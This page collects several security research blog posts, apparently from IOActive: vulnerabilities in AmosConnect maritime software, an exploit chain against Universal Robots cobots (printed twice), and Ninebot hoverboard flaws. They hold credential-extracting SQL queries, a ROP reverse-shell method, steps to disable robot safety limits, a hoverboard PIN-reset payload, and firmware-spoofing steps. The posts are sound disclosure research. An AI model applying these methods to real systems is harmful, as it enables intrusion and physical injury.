RESEARCH | October 26, 2017

AmosConnect: Maritime Communications Security Has Its Flaws

Satellite communications security has been a target of our research for some time: in 2014 IOActive released a document detailing many vulnerabilities in popular SATCOM systems. Since then we’ve had the opportunity to dive deeper in this area, and learned a lot more about some of the environments in which these systems are in place.

Recently, we saw that Shodan released a new tool that tracks the location of VSAT systems exposed to the Internet. These systems are typically installed in vessels to provide them with internet connectivity while at open sea.


The maritime sector makes use of some of these systems to track and monitor ships’ IT and navigation systems as well as to aid crew members in some of their daily duties, providing them with e-mail or the ability to browse the Internet. Modern vessels don’t differ that much from your typical office these days, aside from the fact that they might be floating in a remote location.

Satellite connectivity is an expensive resource. In order to minimize its cost, several products exist to perform optimizations around the compression of data while in transit. One of the products that caught our eye was AmosConnect.

AmosConnect 8 is a platform designed to work in a maritime environment in conjunction with satellite equipment, providing services such as: 

  • E-mail
  • Instant messaging
  • Position reporting
  • Crew Internet
  • Automatic file transfer
  • Application integration


We have identified two critical vulnerabilities in this software that allow pre-authenticated attackers to fully compromise an AmosConnect server. We have reported these vulnerabilities but there is no fix for them, as Inmarsat has discontinued AmosConnect 8, announcing its end-of-life in June 2017. The original advisory is available here, and this blog post will also discuss some of the technical details.

 

Blind SQL Injection in Login Form
A Blind SQL Injection vulnerability is present in the login form, allowing unauthenticated attackers to gain access to credentials stored in its internal database. The server stores usernames and passwords in plaintext, making this vulnerability trivial to exploit.

The following POST request is sent when a user tries to log into AmosConnect


The parameter data[MailUser][emailAddress] is vulnerable to Blind SQL Injection, enabling data retrieval from the backend SQLite database using time-based attacks.

Attackers that successfully exploit this vulnerability can retrieve credentials to log into the service by executing the following queries:

SELECT key, value from MOBILE_PROPS WHERE key LIKE ‘USER.%.password’;

SELECT key, value from MOBILE_PROPS WHERE key LIKE 

‘USER.%.email_address’;

The authentication method is implemented in mail_user.php:

The call to findByEmail() instantiates a COM object that is implemented in native C++ code.

 

The following C++ native methods are invoked upon execution of the call:
     Neptune::UserManager::User::findByEmai(…)
          Neptune::ConfigManager::Property::findBy( … )
               Neptune::ConfigManager::Property::findAllBy( … )
The vulnerable code is implemented in Neptune::ConfigManager::Property::findAllBy() as seen below:

 

 

Strings are concatenated in an insecure manner, building a SQL query that in this case would look like:
“[…] deleted = 0 AND key like ‘USER.%.email_address’ AND upper(value) like ‘{email}'”

 

Privileged Backdoor Account

The AmosConnect server features a built-in backdoor account with full system privileges. Among other things, this vulnerability allows attackers to execute commands with SYSTEM privileges on the remote system by abusing AmosConnect Task Manager.
 
Users accessing the AmosConnect server see the following login screen:
 
The login website reveals the Post Office ID, this ID identifies the AmosConnect server and is tied to the software license.
 
The following code belongs to the authentication method implemented in mail_user.php. Note the call to authenticateBackdoorUser():
 
authenticateBackdoorUser() is implemented as follows:
 
 
The following code snippet shows how an attacker can obtain the SysAdmin password for a given Post Office ID:
Conclusions and thoughts
Vessel networks are typically segmented and isolated from each other, in part for security reasons. A typical vessel network configuration might feature some of the following subnets:
·         Navigation systems network. Some of the most recent vessels feature “sail-by-wire” technologies; the systems in charge of providing this technology are located in this network.
·         Industrial Control Systems (ICS) network. Vessels contain a lot of industrial machinery that can be remotely monitored and operated. Some vessels feature a dedicated network for these systems; in some configuration, the ICS and Navigation networks may actually be the same.
·         IT systems network. Vessels typically feature a separate network to support office applications. IT servers and crew members’ work computers are connected to this network; its within this network that AmosConnect is typically deployed.
·         Bring-Your-Own-Device networks. Vessels may feature a separate network to provide internet connectivity to guests or crew members personal devices.
·         SATCOM. While this may change from vessel to vessel, some use a separate subnet to host satellite communications equipment.
While the vulnerabilities discussed in this blog post may only be exploited by an attacker with access to the IT systems network, its important to note that within certain vessel configurations some networks might not be segmented, or AmosConnect might be exposed to one or more of these networks. A typical scenario would make AmosConnect available to both the BYOD “guest and IT networks; one can easily see how these vulnerabilities could be exploited by a local attacker to pivot from the guest network to the IT network. Also, some the vulnerabilities uncovered during our SATCOM research might enable attackers to access these systems via the satellite link.
 
All in all, these vulnerabilities pose a serious security risk. Attackers might be able to obtain corporate data, take over the server to mount further attacks or pivot within the vessel networks.
References:
https://shiptracker.shodan.io/
RESEARCH | August 22, 2017

Exploiting Industrial Collaborative Robots

Traditional industrial robots are boring. Typically, they are autonomous or operate with limited guidance and execute repetitive, programmed tasks in manufacturing and production settings.1 They are often used to perform duties that are dangerous or unsuitable for workers; therefore, they operate in isolation from humans and other valuable machinery.

This is not the case with the latest generation collaborative robots (“cobots”) though. They function with co-workers in shared workspaces while respecting safety standards. This generation of robots works hand-in-hand with humans, assisting them, rather than just performing automated, isolated operations. Cobots can learn movements, “see” through HD cameras, or “hear” through microphones to contribute to business success.

UR5 by Universal Robots2
Baxter by Rethink Robotics3

So cobots present a much more interesting attack surface than traditional industrial robots. But are cobots only limited to industrial applications? NO, they can also be integrated into other settings!

 
The Moley Robotic Kitchen (2xUR10 Arms)4
DARPA’s ALIAS Robot (UR3 Arm)5
Last February, Cesar Cerrudo (@cesarcer) and I published a non-technical paper “Hacking Robots Before Skynet” previewing our research on several home, business, and industrial robots from multiple well-known vendors. We discovered nearly 50 critical security issues. Within the cobot sector, we audited leading robots, including Baxter/Sawyer from Rethink Robotics and UR by Universal Robots.
      Baxter/Sawyer: We found authentication issues, insecure transport in their protocols, default deployment problems, susceptibility to physical attacks, and the usage of ROS, a research framework known to be vulnerable to multiple issues. The major problems we reported appear to have been patched by the company in February 2017.
     UR: We found authentication issues in many of the control protocols, susceptibility to physical attacks, memory corruption vulnerabilities, and insecure communication transport. All of the issues remain unpatched in the latest version (3.4.2.65, May 2017).6

In accordance with IOActive’s responsible disclosure policy we contacted the vendors last January, so they have had ample time to address the vulnerabilities and inform their customers. Our goal is to make cobots more secure and prevent vulnerabilities from being exploited by attackers to cause serious harm to industries, employees, and their surroundings. I truly hope this blog entry moves the collaborative industry forward so we can safely enjoy this and future generations of robots.

In this post, I will discuss how an attacker can chain multiple vulnerabilities in a leading cobot (UR3, UR5, UR10 – Universal Robots) to remotely modify safety settings, violating applicable safety laws and, consequently, causing physical harm to the robot’s surroundings by moving it arbitrarily.

This attack serves as an example of how dangerous these systems can be if they are hacked. Manipulating safety limits and disabling emergency buttons could directly threaten human life. Imagine what could happen if an attack targeted an array of 64 cobots as is found in a Chinese industrial corporation.7

The final exploit abuses six vulnerabilities to change safety limits and disable safety planes and emergency buttons/sensors remotely over the network. The cobot arm swings wildly about, wreaking havoc. This video demonstrates the attack: https://www.youtube.com/watch?v=cNVZF7ZhE-8

Q: Can these robots really harm a person?
A: Yes, a study8 by the Control and Robotics Laboratory at the École de technologie supérieure (ÉTS) in Montreal (Canada) clearly shows that even the smaller UR5 model is powerful enough to seriously harm a person. While running at slow speeds, their force is more than sufficient to cause a skull fracture.9Q: Wait…don’t they have safety features that prevent them from harming nearby humans?
A: Yes, but they can be hacked remotely, and I will show you how in the next technical section.Q: Where are these deployed?
A: All over the world, in multiple production environments every day.10Integrators Define All Safety Settings

Universal Robots is the manufacturer of UR robots. The company that installs UR robots in a specific application is the integrator. Only an integrated and installed robot is considered a complete machine. The integrators of UR robots are responsible for ensuring that any significant hazard in the entire robot system is eliminated. This includes, but is not limited to:11

  • Conducting a risk assessment of the entire system. In many countries this is required by law
  • Interfacing other machines and additional safety devices if deemed appropriate by the risk assessment
  • Setting up the appropriate safety settings in the Polyscope software (control panel)
  • Ensuring that the user will not modify any safety measures by using a “safety password.
  • Validating that the entire system is designed and installed correctly

Universal Robots has recognized potentially significant hazards, which must be considered by the integrator, for example:

  • Penetration of skin by sharp edges and sharp points on tools or tool connectors
  • Penetration of skin by sharp edges and sharp points on obstacles near the robot track
  • Bruising due to stroke from the robot
  • Sprain or bone fracture due to strokes between a heavy payload and a hard surface
  • Mistakes due to unauthorized changes to the safety configuration parameters

Some safety-related features are purposely designed for cobot applications. These features are particularly relevant when addressing specific areas in the risk assessment conducted by the integrator, including:

  • Force and power limiting: Used to reduce clamping forces and pressures exerted by the robot in the direction of movement in case of collisions between the robot and operator.
  • Momentum limiting: Used to reduce high-transient energy and impact forces in case of collisions between robot and operator by reducing the speed of the robot.
  • Tool orientation limiting: Used to reduce the risk associated with specific areas and features of the tool and work-piece (e.g., to avoid sharp edges to be pointed towards the operator).
  • Speed limitation: Used to ensure the robot arm operates a low speed.
  • Safety boundaries: Used to restrict the workspace of the robot by forcing it to stay on the correct side of defined virtual planes and not pass through them.

Safety planes in action12


Safety I/O: When this input safety function is triggered (via emergency buttons, sensors, etc.), a low signal is sent to the inputs and causes the safety system to transition to “reduced” mode.

Safety scanner13
Safety settings are effective in preventing many potential incidents. But what could happen if malicious actors targeted these measures in order to threaten human life?
Statement from the UR User Guide

Changing Safety Configurations Remotely

“The safety configuration settings shall only be changed in compliance with the risk assessment conducted by the integrator.14 If any safety parameter is changed the complete robot system shall be considered new, meaning that the overall safety approval process, including risk assessment, shall be updated accordingly.”
 

The exploitation process to remotely change the safety configuration is as follows:

Step 1.    Confirm the remote version by exploiting an authentication issue on the UR Dashboard Server.
Step 2.    Exploit a stack-based buffer overflow in UR Modbus TCP service, and execute commands as root.
Step 3.    Modify the safety.conf file. This file overrides all safety general limits, joints limits, boundaries, and safety I/O values.
Step 4.    Force a collision in the checksum calculation, and upload the new file. We need to fake this number since integrators are likely to write a note with the current checksum value on the hardware, as this is a common best practice.
Step 5.    Restart the robot so the safety configurations are updated by the new file. This should be done silently.
Step 6.    Move the robot in an arbitrary, dangerous manner by exploiting an authentication issue on the UR control service.

By analyzing and reverse engineering the firmware image ursys-CB3.1-3.3.4-310.img, I was able to understand the robot’s entry points and the services that allow other machines on the network to interact with the operating system. For this demo I used the URSim simulator provided by the vendor with the real core binary from the robot image. I was able to create modified versions of this binary to run partially on a standard Linux machine, even though it was clearer to use the simulator for this example exploit.

Different network services are exposed in the URControl core binary, and most of the proprietary protocols do not implement strong authentication mechanisms. For example, any user on the network can issue a command to one of these services and obtain the remote version of the running process (Step 1):


Now that I have verified the remote target is running a vulnerable image, ursys-CB3.1-3.3.4-310 (UR3, UR5 or UR10), I exploit a network service to compromise the robot (Step 2).The UR Modbus TCP service (port 502) does not provide authentication of the source of a command; therefore, an adversary could corrupt the robot in a state that negatively affects the process being controlled. An attacker with IP connectivity to the robot can issue Modbus read/write requests and partially change the state of the robot or send requests to actuators to change the state of the joints being controlled.It was not possible to change any safety settings by sending Modbus write requests; however, a stack-based buffer overflow was found in the UR Modbus TCP receiver (inside the URControl core binary).A stack buffer overflows with the recv function, because it uses a user-controlled buffer size to determine how many bytes from the socket will be copied there. This is a very common issue.

Before proceeding with the exploit, let’s review the exploit mitigations in place. The robot’s Linux kernel is configured to randomize (randomize_va_space=1 => ASLR) the positions of the stack, virtual dynamic shared object page, and shared memory regions. Moreover, this core binary does not allow any of its segments to be both writable and executable due to the “No eXecute” (NX) bit.

While overflowing the destination buffer, we also overflow pointers to the function’s arguments. Before the function returns, these arguments are used in other function calls, so we have to provide these calls with a valid value/structure. Otherwise, we will never reach the end of the function and be able to control the execution flow.

edx+0x2c is dereferenced and used as an argument for the call to 0x82e0c90. The problem appears afterwards when EBX (which is calculated from our previous controlled pointer on EDX) needs to also point to a structure where a file descriptor is obtained and is closed with “close” afterwards.

To choose a static address that might comply with these two requirements, I used the following static region, since all others change due to ASLR.

I wrote some scripts to find a suitable memory address and found 0x83aa1fc to be perfect since it suits both conditions:
      0x83aa1fc+0x2c points to valid memory -> 0x831c00a (“INT32”)
      0x83aa1fc+0x1014 contains 0 (nearly all this region is zeroed)
Now that I have met both conditions, execution can continue to the end of this function, and I get EIP control because the saved register on the stack was overflowed:


At this point, I control most of the registers, so I need to place my shellcode somewhere and redirect the execution flow there. For this, I used returned-oriented programming (ROP), the challenge will be to find enough gadgets to set everything I need for clean and reliable exploitation. Automatic ROP-chain tools did not work well for this binary, so I did it manually.First, I focus on my ultimate goal: to execute a reverse shell that connects to my machine. One key point when building a remote ROP-based exploit in Linux are system calls.Depending on the quality of gadgets that useint instructions I find, I will be able to use primitives such as write or dup2 to reuse the socket that was already created to return a shell or other post-exploitation strategies.In this binary, I only found one int 0x80 instruction. This is used to invoke system calls in Linux on x86. Because this is a one-shot gadget, I can only perform a single system call: I will use the execve system call to execute a program. This int 0x80 instruction requires setting up a register with the system call number (EAX in this case 0xb) and then set a register (EBX) that points to a special structure.This structure contains an array of pointers, each of which points to the arguments of the command to be executed.Because of how this vulnerability is triggered, I cannot use null bytes (0x00) on the request buffer. This is a problem because we need to send commands and arguments and also create an array of pointers that end with a null byte. To overcome this, I send a placeholder, like chunks of 0xFF bytes, and later on I replace them with 0x00 at runtime with ROP.In pseudocode this call would be (calls a TCP Reverse Shell):
 
 
All the controlled data is in the stack, so first I will try to align the stack pointer (ESP) to my largest controlled section (STAGE 1). I divided the largest controlled sections into two stages, since they both can potentially contain many ROP gadgets. 

As seen before, at this point I control EBX and EIP. Next, I have to align ESP to any of the controlled segments so I can start doing ROP.

The following gadget (ROP1 0x8220efa) is used to adjust ESP:

 
 
This way ESP = ESP + EBX – 1 (STAGE 1 address in the stack). This aligns ESP to my STAGE 1 section. EBX should decrease ESP by 0x137 bytes, so I use the number 0xfffffec9 (4294966985) because when adding it to ESP, it wraps around to the desired value.
When the retn instruction of the gadget is executed, ROP gadgets at STAGE 1 start doing their magic. STAGE 1 of the exploit does the following:
  1. Zero out the at the end of the arguments structure. This way the processor will know that EXECVE arguments are only those three pointers.
  2. Save a pointer to our first command of cmd[] in our arguments structure.
  3. Jump to STAGE 2, because I don’t have much space here.
 

STAGE 2 of the exploit does the following:

  1. Zero out the xffxffxffxff at the end of each argument in cmd[].
  2. Save a pointer to the 2nd and 3rd argument of cmd[] in on our arguments structure.
  3. Prepare registers for EXECVE. As seen before, we needed
    1. EBX=*args[]
    2. EDX = 0
    3. EAX=0xb
  4. Call the int 0x80 gadget and execute the reverse shell.
Once the TCP reverse shell payload is executed, a connection is made back to my computer. Now I can execute commands and use sudo to execute commands as root in the robot controller.
 
Safety settings are saved in the safety.conf file (Step 3). Universal Robots implemented a CRC (STM-32) algorithm to provide integrity to this file and save the calculated checksum on disk. This algorithm does not provide any real integrity to the settings, as it is possible to generate collisions or calculate new checksum values for new settings overriding special files on the filesystem. I reversed how this calculation is being made for each safety setting and created an algorithm that replicates it. On the video demo, I did not fake the new CRC value to remain the same (located on top-right of the screen), even though this is possible and easy (Step 4).
 
Before modifying any safety setting on the robot, I setup a process that automatically starts a new instance of the robot controller after 25 seconds with the new settings. This will give me enough time to download, modify, and upload a new safety setting file. The following command sets up a new URControl process. I used Python since it allows me to close all current file descriptors of the running process when forking. Remember that I am forking from the reverse shell object, so I need to create a new process that does not inherit any of the file descriptors so they are closed when the parent URControl process dies (in order to restart and apply new safety settings).
 
 
Now I have 25 seconds to download the current file, modify it, calculate new CRC, reupload it, and kill the running URControl process (which has an older safety settings config). I can programmatically use the kill command to target the current URControl instance (Step 5).
 

Finally, I send this command to the URControl service in order to load the new installation we uploaded. I also close any popup that might appear on the UI.

 
Finally, an attacker can simply call the movej function in the URControl service to move joints remotely, with a custom speed and acceleration (Step 6). This is shown at the end of the video.

Once again, I see novel and expensive technology which is vulnerable and exploitable. A very technical bug, like a buffer overflow in one of the protocols, exposed the integrity of the entire robot system to remote attacks. We reported the complete flow of vulnerabilities to the vendors back in January, and they have yet to be patched.
What are we waiting for?
 
1 https://www.robots.com/faq/show/what-is-an-industrial-robot
2 https://www.roboticsbusinessreview.com/manufacturing/cobot-market-boom-lifts-universal-robots-fortunes-2016/
3 http://www.rethinkrobotics.com/blog/humans-and-collaborative-robots-working-together-in-grand-rapids-mi/ 
https://www.youtube.com/watch?v=G6_LCwu7dOg
4https://www.wired.com/2016/11/darpa-alias-autonomous-aircraft-aurora-sikorsky/
5 https://www.universal-robots.com/how-tos-and-faqs/faq/ur-faq/release-note-software-version-34xx/
6https://www.youtube.com/watch?v=PtncirKiBXQ&t=1s
7http://coro.etsmtl.ca/blog/?p=299
8 http://www.forensicmed.co.uk/pathology/head-injury/skull-fracture/
9https://www.universal-robots.com/case-stories/
11 https://academy.universal-robots.com
12https://academy.universal-robots.com
13Software_Manual_en_US.pdf – Universal Robots

Safety planes in action12


Safety I/O: When this input safety function is triggered (via emergency buttons, sensors, etc.), a low signal is sent to the inputs and causes the safety system to transition to “reduced” mode.

Safety Scanner 13

Safety settings are effective in preventing many potential incidents. But what could happen if malicious actors targeted these measures in order to threaten human life?

Statement from the UR User Guide

Changing Safety Configurations Remotely

“The safety configuration settings shall only be changed in compliance with the risk assessment conducted by the integrator.14 If any safety parameter is changed the complete robot system shall be considered new, meaning that the overall safety approval process, including risk assessment, shall be updated accordingly.”
 

The exploitation process to remotely change the safety configuration is as follows:

Step 1.    Confirm the remote version by exploiting an authentication issue on the UR Dashboard Server.
Step 2.    Exploit a stack-based buffer overflow in UR Modbus TCP service, and execute commands as root.
Step 3.    Modify the safety.conf file. This file overrides all safety general limits, joints limits, boundaries, and safety I/O values.
Step 4.    Force a collision in the checksum calculation, and upload the new file. We need to fake this number since integrators are likely to write a note with the current checksum value on the hardware, as this is a common best practice.
Step 5.    Restart the robot so the safety configurations are updated by the new file. This should be done silently.
Step 6.    Move the robot in an arbitrary, dangerous manner by exploiting an authentication issue on the UR control service.

By analyzing and reverse engineering the firmware image ursys-CB3.1-3.3.4-310.img, I was able to understand the robot’s entry points and the services that allow other machines on the network to interact with the operating system. For this demo I used the URSim simulator provided by the vendor with the real core binary from the robot image. I was able to create modified versions of this binary to run partially on a standard Linux machine, even though it was clearer to use the simulator for this example exploit.

Different network services are exposed in the URControl core binary, and most of the proprietary protocols do not implement strong authentication mechanisms. For example, any user on the network can issue a command to one of these services and obtain the remote version of the running process (Step 1):


Now that I have verified the remote target is running a vulnerable image, ursys-CB3.1-3.3.4-310 (UR3, UR5 or UR10), I exploit a network service to compromise the robot (Step 2).The UR Modbus TCP service (port 502) does not provide authentication of the source of a command; therefore, an adversary could corrupt the robot in a state that negatively affects the process being controlled. An attacker with IP connectivity to the robot can issue Modbus read/write requests and partially change the state of the robot or send requests to actuators to change the state of the joints being controlled.It was not possible to change any safety settings by sending Modbus write requests; however, a stack-based buffer overflow was found in the UR Modbus TCP receiver (inside the URControl core binary).A stack buffer overflows with the recv function, because it uses a user-controlled buffer size to determine how many bytes from the socket will be copied there. This is a very common issue.

Before proceeding with the exploit, let’s review the exploit mitigations in place. The robot’s Linux kernel is configured to randomize (randomize_va_space=1 => ASLR) the positions of the stack, virtual dynamic shared object page, and shared memory regions. Moreover, this core binary does not allow any of its segments to be both writable and executable due to the “No eXecute” (NX) bit.

While overflowing the destination buffer, we also overflow pointers to the function’s arguments. Before the function returns, these arguments are used in other function calls, so we have to provide these calls with a valid value/structure. Otherwise, we will never reach the end of the function and be able to control the execution flow.

edx+0x2c is dereferenced and used as an argument for the call to 0x82e0c90. The problem appears afterwards when EBX (which is calculated from our previous controlled pointer on EDX) needs to also point to a structure where a file descriptor is obtained and is closed with “close” afterwards.

To choose a static address that might comply with these two requirements, I used the following static region, since all others change due to ASLR.

I wrote some scripts to find a suitable memory address and found 0x83aa1fc to be perfect since it suits both conditions:
      0x83aa1fc+0x2c points to valid memory -> 0x831c00a (“INT32”)
      0x83aa1fc+0x1014 contains 0 (nearly all this region is zeroed)
Now that I have met both conditions, execution can continue to the end of this function, and I get EIP control because the saved register on the stack was overflowed:

At this point, I control most of the registers, so I need to place my shellcode somewhere and redirect the execution flow there. For this, I used returned-oriented programming (ROP), the challenge will be to find enough gadgets to set everything I need for clean and reliable exploitation. Automatic ROP-chain tools did not work well for this binary, so I did it manually.
 
First, I focus on my ultimate goal: to execute a reverse shell that connects to my machine. One key point when building a remote ROP-based exploit in Linux are system calls. Depending on the quality of gadgets that use int instructions I find, I will be able to use primitives such as write or dup2 to reuse the socket that was already created to return a shell or other post-exploitation strategies.

In this binary, I only found one int 0x80 instruction. This is used to invoke system calls in Linux on x86. Because this is a one-shot gadget, I can only perform a single system call: I will use the execve system call to execute a program. This int 0x80 instruction requires setting up a register with the system call number (EAX in this case 0xb) and then set a register (EBX) that points to a special structure. This structure contains an array of pointers, each of which points to the arguments of the command to be executed.
 
Because of how this vulnerability is triggered, I cannot use null bytes (0x00) on the request buffer. This is a problem because we need to send commands and arguments and also create an array of pointers that end with a null byte. To overcome this, I send a placeholder, like chunks of 0xFF bytes, and later on I replace them with 0x00 at runtime with ROP.
 
In pseudocode this call would be (calls a TCP Reverse Shell):
 
 
All the controlled data is in the stack, so first I will try to align the stack pointer (ESP) to my largest controlled section (STAGE 1). I divided the largest controlled sections into two stages, since they both can potentially contain many ROP gadgets. 

As seen before, at this point I control EBX and EIP. Next, I have to align ESP to any of the controlled segments so I can start doing ROP.
The following gadget (ROP1 0x8220efa) is used to adjust ESP:
 
 
This way ESP = ESP + EBX – 1 (STAGE 1 address in the stack). This aligns ESP to my STAGE 1 section. EBX should decrease ESP by 0x137 bytes, so I use the number 0xfffffec9 (4294966985) because when adding it to ESP, it wraps around to the desired value.
When the retn instruction of the gadget is executed, ROP gadgets at STAGE 1 start doing their magic. STAGE 1 of the exploit does the following:
  1. Zero out the at the end of the arguments structure. This way the processor will know that EXECVE arguments are only those three pointers.
  2. Save a pointer to our first command of cmd[] in our arguments structure.
  3. Jump to STAGE 2, because I don’t have much space here.
 

STAGE 2 of the exploit does the following:

  1. Zero out the xffxffxffxff at the end of each argument in cmd[].
  2. Save a pointer to the 2nd and 3rd argument of cmd[] in on our arguments structure.
  3. Prepare registers for EXECVE. As seen before, we needed
    1. EBX=*args[]
    2. EDX = 0
    3. EAX=0xb
  4. Call the int 0x80 gadget and execute the reverse shell.
Once the TCP reverse shell payload is executed, a connection is made back to my computer. Now I can execute commands and use sudo to execute commands as root in the robot controller.
 
Safety settings are saved in the safety.conf file (Step 3). Universal Robots implemented a CRC (STM-32) algorithm to provide integrity to this file and save the calculated checksum on disk. This algorithm does not provide any real integrity to the settings, as it is possible to generate collisions or calculate new checksum values for new settings overriding special files on the filesystem. I reversed how this calculation is being made for each safety setting and created an algorithm that replicates it. On the video demo, I did not fake the new CRC value to remain the same (located on top-right of the screen), even though this is possible and easy (Step 4).
 
Before modifying any safety setting on the robot, I setup a process that automatically starts a new instance of the robot controller after 25 seconds with the new settings. This will give me enough time to download, modify, and upload a new safety setting file. The following command sets up a new URControl process. I used Python since it allows me to close all current file descriptors of the running process when forking. Remember that I am forking from the reverse shell object, so I need to create a new process that does not inherit any of the file descriptors so they are closed when the parent URControl process dies (in order to restart and apply new safety settings).
 
 
Now I have 25 seconds to download the current file, modify it, calculate new CRC, reupload it, and kill the running URControl process (which has an older safety settings config). I can programmatically use the kill command to target the current URControl instance (Step 5).
 

Finally, I send this command to the URControl service in order to load the new installation we uploaded. I also close any popup that might appear on the UI.

 

Finally, an attacker can simply call the movej function in the URControl service to move joints remotely, with a custom speed and acceleration (Step 6). This is shown at the end of the video.

Once again, I see novel and expensive technology which is vulnerable and exploitable. A very technical bug, like a buffer overflow in one of the protocols, exposed the integrity of the entire robot system to remote attacks. We reported the complete flow of vulnerabilities to the vendors back in January, and they have yet to be patched.

What are we waiting for?

 
1 https://www.robots.com/faq/show/what-is-an-industrial-robot
2 https://www.roboticsbusinessreview.com/manufacturing/cobot-market-boom-lifts-universal-robots-fortunes-2016/
3 http://www.rethinkrobotics.com/blog/humans-and-collaborative-robots-working-together-in-grand-rapids-mi/ 
https://www.youtube.com/watch?v=G6_LCwu7dOg
4https://www.wired.com/2016/11/darpa-alias-autonomous-aircraft-aurora-sikorsky/
5 https://www.universal-robots.com/how-tos-and-faqs/faq/ur-faq/release-note-software-version-34xx/
6https://www.youtube.com/watch?v=PtncirKiBXQ&t=1s
7http://coro.etsmtl.ca/blog/?p=299
8 http://www.forensicmed.co.uk/pathology/head-injury/skull-fracture/
9https://www.universal-robots.com/case-stories/
11 https://academy.universal-robots.com
12https://academy.universal-robots.com
13Software_Manual_en_US.pdf – Universal Robots
RESEARCH | July 19, 2017

Multiple Critical Vulnerabilities Found in Popular Motorized Hoverboards

Not that long ago, motorized hoverboards were in the news – according to widespread reports, they had a tendency to catch on fire and even explode. Hoverboards were so dangerous that the National Association of State Fire Marshals (NASFM) issued a statement recommending consumers “look for indications of acceptance by recognized testing organizations” when purchasing the devices. Consumers were even advised to not leave them unattended due to the risk of fires. The Federal Trade Commission has since established requirements that any hoverboard imported to the US meet baseline safety requirements set by Underwriters Laboratories.

Since hoverboards were a popular item used for personal transportation, I acquired a Ninebot by Segway miniPRO hoverboard in September of 2016 for recreational use. The technology is amazing and a lot of fun, making it very easy to learn and become a relatively skilled rider.

The hoverboard is also connected and comes with a rider application that enables the owner to do some cool things, such as change the light colors, remotely control the hoverboard, and see its battery life and remaining mileage. I was naturally a little intrigued and couldn’t help but start doing some tinkering to see how fragile the firmware was. In my past experience as a security consultant, previous well-chronicled issues brought to mind that if vulnerabilities do exist, they might be exploited by an attacker to cause some serious harm.

When I started looking further, I learned that regulations now require hoverboards to meet certain mechanical and electrical specifications with the goal of preventing battery fires and various mechanical failures; however, there are currently no regulations aimed at ensuring firmware integrity and validation, even though firmware is also integral to the safety of the system.

Let’s Break a Hoverboard

Using reverse engineering and protocol analysis techniques, I was able to determine that my Ninebot by Segway miniPRO (Ninebot purchased Segway Inc. in 2015) had several critical vulnerabilities that were wirelessly exploitable. These vulnerabilities could be used by an attacker to bypass safety systems designed by Ninebot, one of the only hoverboards approved for sale in many countries.

Using protocol analysis, I determined I didn’t need to use a rider’s PIN (Personal Identification Number) to establish a connection. Even though the rider could set a PIN, the hoverboard did not actually change its default pin of “000000.” This allowed me to connect over Bluetooth while bypassing the security controls. I could also document the communications between the app and the hoverboard, since they were not encrypted.

Additionally, after attempting to apply a corrupted firmware update, I noticed that the hoverboard did not implement any integrity checks on firmware images before applying them. This means an attacker could apply any arbitrary update to the hoverboard, which would allow them to bypass safety interlocks.

Upon further investigation of the Ninebot application, I also determined that connected riders in the area were indexed using their smart phones’ GPS; therefore, each riders’ location is published and publicly available, making actual weaponization of an exploit much easier for an attacker.

To show how this works, an attacker using the Ninebot application can locate other hoverboard riders in the vicinity:

 

An attacker could then connect to the miniPRO using a modified version of the Nordic UART application, the reference implementation of the Bluetooth service used in the Ninebot miniPRO. This application allows anyone to connect to the Ninebot without being asked for a PIN.By sending the following payload from the Nordic application, the attacker can change the application PIN to “111111”:
unsigned char payload[13] =
{0x55, 0xAA, 0x08, 0x0A, 0x03, 0x17, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0xAD, 0xFE}; // Set The Hoverboard Pin to “111111”

 

Figure 1 – miniPRO PIN Theft


Using the pin “111111,” the attacker can then launch the Ninebot application and connect to the hoverboard. This would lock a normal user out of the Ninebot mobile application because a new PIN has been set.

Using DNS spoofing, an attacker can upload an arbitrary firmware image by spoofing the domain record for apptest.ninebot.cn. The mobile application downloads the image and then uploads it to the hoverboard:

In http://apptest.ninebot.cn change the /appversion/appdownload/NinebotMini/version.json file to match your new firmware version and size. The example below forces the application to update the control/mainboard firmware image (aka driver board firmware) to v1.3.3.7, which is 50212 bytes in size.

“CtrlVersionCode”:[“1337″,”50212”]

Create a matching directory and file including the malicious firmware (/appversion/appdownload/NinebotMini/v1.3.3.7/Mini_Driver_v1.3.3.7.zip) with the modified update file Mini_Driver_V1.3.3.7.bin compressed inside of the firmware update archive.


When launched, the Ninebot application checks to see if the firmware version on the hoverboard matches the one downloaded from apptest.ninebot.cn. If there is a later version available (that is, if the version in the JSON object is newer than the version currently installed), the app triggers the firmware update process.

Analysis of Findings
Even though the Ninebot application prompted a user to enter a PIN when launched, it was not checked at the protocol level before allowing the user to connect. This left the Bluetooth interface exposed to an attack at a lower level. Additionally, since this device did not use standard Bluetooth PIN-based security, communications were not encrypted and could be wirelessly intercepted by an attacker.

Exposed management interfaces should not be available on a production device. An attacker may leverage an open management interface to execute privileged actions remotely. Due to the implementation in this scenario, I was able to leverage this vulnerability and perform a firmware update of the hoverboard’s control system without authentication.

Firmware integrity checks are imperative in embedded systems. Unverified or corrupted firmware images could permanently damage systems and may allow an attacker to cause unintended behavior. I was able to modify the controller firmware to remove rider detection, and may have been able to change configuration parameters in other onboard systems, such as the BMS (Battery Management System) and Bluetooth module.

 Figure 2 Unencrypted Communications between
Hoverboard and Android Application


Figure 3 – Interception of Android Application Setting PIN Code to “111111”
 
Mitigation
As a result of the research, IOActive made the following security design and development recommendations to Ninebot that would correct these vulnerabilities:
  • Implement firmware integrity checking.
  • Use Bluetooth Pre-Shared Key authentication or PIN authentication.
  • Use strong encryption for wireless communications between the application and hoverboard.
  • Implement a “pairing mode” as the sole mode in which the hoverboard pairs over Bluetooth.
  • Protect rider privacy by not exposing rider location within the Ninebot mobile application. 

IOActive recommends that end users stay up-to-date with the latest versions of the app from Ninebot. We also recommend that consumers avoid hoverboard models with Bluetooth and wireless capabilities.

Responsible Disclosure
After completing the research, IOActive subsequently contacted and disclosed the details of the vulnerabilities identified to Ninebot. Through a series of exchanges since the initial contact, Ninebot has released a new version of the application and reported to IOActive that the critical issues have been addressed.

  • December 2016: IOActive conducts testing on Ninebot by Segway miniPro hoverboard.
  • December 24, 2016: Ioactive contacts Ninebot via a public email address to establish a line of communication.
  • January 4, 2017: Ninebot responds to IOActive.
  • January 27, 2017: IOActive discloses issues to Ninebot.
  • April 2017: Ninebot releases an updated application (3.20), which includes fixes that address some of IOActive’s findings.
  • April 17, 2017: Ninebot informs IOActive that remediation of critical issues is complete.
  • July 19, 2017: IOActive publishes findings.
For more information about this research, please refer to the following additional materials:
RESEARCH | April 20, 2017

Linksys Smart Wi-Fi Vulnerabilities

By Tao Sauvage

